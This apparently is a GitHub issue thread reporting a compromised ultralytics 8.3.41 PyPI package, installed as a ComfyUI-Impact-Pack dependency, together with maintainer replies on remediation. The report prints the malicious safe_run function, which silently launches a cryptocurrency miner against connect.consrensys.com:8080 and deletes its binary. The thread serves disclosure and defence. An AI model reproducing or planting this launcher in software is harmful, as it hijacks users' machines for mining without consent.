Incident Report: Potential Crypto Mining Attack via ComfyUI/Ultralytics

[otupa]

Incident Report: Potential Crypto Mining Attack via ComfyUI/Ultralytics

---

1. Problem Description

While using ComfyUI with the ComfyUI-Impact-Pack extension, suspicious behavior involving the Ultralytics package was detected. A malicious Python script was identified, seemingly designed to execute unauthorized cryptocurrency mining using system resources without user consent.

---

2. Identification of Malicious Code

The malicious code was located in the downloads.py file within the directory:

C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils

Malicious Code Snippet

def safe_run(path):
    os.chmod(path, 0o770)
    command = [
        path,
        '-u',
        '4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
        '-o',
        'connect.consrensys.com:8080',
        '-k'
    ]
    process = subprocess.Popen(
        command,
        stdin=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
        close_fds=True
    )
    os.remove(path)

Observed Behavior

• Permission Change: The script uses os.chmod to make a file executable.
• Malicious Command Execution: The code executes a command to connect to connect.consrensys.com:8080, a potentially malicious mining pool.
• Hidden Process: The script suppresses standard input, output, and error streams to avoid detection.
• File Removal: Deletes the executed file to remove evidence of malicious activity.

Risk Assessment

This behavior strongly suggests unauthorized cryptocurrency mining, which could lead to:

1. High Resource Usage: Drastic increase in CPU/GPU consumption.
2. Hardware Degradation: Accelerated wear on system components.
3. Security Breach: Potential compromise of sensitive data or system integrity.

---

3. Source of the Issue

The activity was traced to the installation of the Ultralytics package, which appears to be a modified version. This package might have been automatically installed as a dependency of the ComfyUI-Impact-Pack.

Installation Path

• Suspicious Package: ultralytics version 8.3.41.
• Location: C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics.

Installation Trigger

The suspicious behavior was likely initiated during the execution of the install.py script included in the ComfyUI-Impact-Pack, which installs dependencies.

---

4. Network Behavior Analysis

• Target Domain: connect.consrensys.com.
• Port: 8080.
• Purpose: This domain is suspected to act as a mining pool endpoint, utilizing protocols like Stratum for cryptocurrency mining.

Evidence:

1. The script's connection details explicitly target a known mining pool address.
2. A private key (4BHRQHF...) is used, suggesting an active mining account or operation.

---

5. Recommended Actions

1. Uninstall the Suspected Package:

   pip uninstall ultralytics ultralytics-thop

2. Remove the ComfyUI-Impact-Pack:
   Delete its directory:

   C:\Users\OTupã\Documents\ComfyUI\custom_nodes\ComfyUI-Impact-Pack
   

3. Scan the System:
   Run antivirus and malware detection tools to ensure no persistent threats remain.
4. Verify Network Connections:
   Check for outgoing connections to connect.consrensys.com and block them in your firewall.
5. Raise Awareness:
   Submit this report to the maintainers of both ComfyUI and Ultralytics to prevent further abuse.

---

6. Supporting Evidence

• Code Location: C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils\downloads.py.
• Behavior: Unauthorized file execution, mining pool connection, and evidence removal.
• Trigger: Automatic dependency installation by ComfyUI-Impact-Pack.

---

This issue highlights the need for robust dependency auditing in open-source projects to prevent malicious modifications from compromising end users' systems.

[Skillnoob]

The models the comfyui extension subpack downloaded are malicious.

https://huggingface.co/Bingsu/adetailer/tree/main
https://github.com/ltdrdata/ComfyUI-Impact-Subpack/blob/main/install.py#L30-L38

[Skillnoob]

The ultralytics package on PyPi seems to be compromised, please do not download it. We have notified the team about it.

[otupa]

Hi @Skillnoob.

Thank you for your response and alert. Unfortunately, I had already downloaded and run the package before realizing the situation. My initial goal was to recreate my girlfriend's face using Ultralytics, but I ended up running into this problem.

I would like to know how I should proceed from here to ensure that my system is secure and that nothing has been compromised. I am also available to provide logs or any other information that may help in investigating and resolving the issue.

If there is anything specific I can do to help, please let me know.

[Laughing-q]

@otupa Currently from what we know, only the 8.3.41 version on pypi is compromised. And we are working on eliminating it. The code on github repo does not have these malicious code. Please uninstall the current version you are having! and re-install it by:

pip install git+https://github.com/ultralytics/ultralytics.git

[otupa]

Thank You and a Few Questions About Installing the Impact Pack

First, thank you for your efforts in clarifying these issues and for providing guidance.

For my next installation of the Impact Pack, how can I ensure that these additional models are not downloaded automatically? Is there a configuration or adjustment I can make during the installation process to avoid this?

[Skillnoob]

I think the huggingface models are flagged because they use pickle. Pickle is generally considered a security issue as it can run code that may be malicious.
https://www.benfrederickson.com/dont-pickle-your-data/

If you install ultralytics through the github link, it will install 8.3.41, yes. The Github installation is fine, only the package on PyPi is compromised.

[otupa]

Thank you so much for the clarification!

Wow, that hacker really pulled off something nasty. It's shocking to see how far someone can go to compromise a widely used tool like this. I truly hope you and the team can protect the ecosystem and get everything back in order soon. If there’s anything I can do to help, let me know!

[ao899]

Although Ultralytics is the cause of it all, I am both surprised and saddened that the largest and most important ltdrdata account in the ComfyUI community has fallen victim to such a major incident, allowing this virus to infiltrate, rather than just smaller experimental accounts. Is it possible that no one has noticed the presence of the virus yet?